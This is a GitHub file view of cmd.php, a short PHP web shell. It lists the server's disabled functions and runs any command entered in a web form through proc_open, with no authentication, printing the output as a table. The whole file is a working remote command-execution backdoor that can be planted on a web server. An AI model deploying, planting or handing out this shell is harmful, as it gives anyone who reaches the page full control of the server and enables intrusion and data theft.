-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcmd.php
90 lines (89 loc) · 2.63 KB
/
cmd.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Command Execution</title>
<style>
body {
font-family: Arial, sans-serif;
font-size: 16px;
line-height: 1.5;
color: #333;
}
table {
border-collapse: collapse;
width: 100%;
margin-bottom: 20px;
}
th, td {
padding: 8px;
text-align: left;
border-bottom: 1px solid #ddd;
}
th {
background-color: #f2f2f2;
font-weight: bold;
}
.error {
color: red;
}
.disabled-functions {
font-size: 20px;
font-weight: bold;
color: #333;
}
</style>
</head>
<body>
<?php
$df = ini_get('disable_functions');
echo '<span class="disabled-functions">Disabled functions: ' . $df . '</span>';
?>
</br>
</br>
<form method="POST">
<label for="cmd">Enter a command :</label>
<input type="text" name="cmd" id="cmd" required>
<button type="submit">Execute</button>
</form>
</br>
<?php
if (isset($_POST['cmd'])) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin
1 => array("pipe", "w"), // stdout
2 => array("pipe", "w") // stderr
);
$process = proc_open($_POST['cmd'], $descriptorspec, $pipes);
if (is_resource($process)) {
$stdout = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[2]);
$return_value = proc_close($process);
if ($return_value === 0) {
$output = preg_split('/\r\n|\r|\n/', trim($stdout));
echo "<table>";
echo "<tr><th>Output:</th></tr>";
foreach ($output as $line) {
$columns = preg_split('/\s+/', $line);
$columns = array_map('trim', $columns);
$columns = array_map(function($column) {
return preg_replace('/\s+/', '', $column);
}, $columns);
$columns = array_filter($columns);
echo "<tr>";
foreach ($columns as $column) {
echo "<td>" . htmlspecialchars($column) . "</td>";
}
echo "</tr>";
}
echo "</table>";
} else {
echo "<div class='error'>" . htmlspecialchars($stderr) . "</div>";
}
}
}
?>
</body>
</html>